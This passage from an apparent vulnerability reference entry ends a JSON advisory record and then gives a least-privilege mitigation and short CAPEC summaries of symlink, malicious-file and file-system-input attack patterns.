"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/3453"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-48.1
Architecture and Design
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.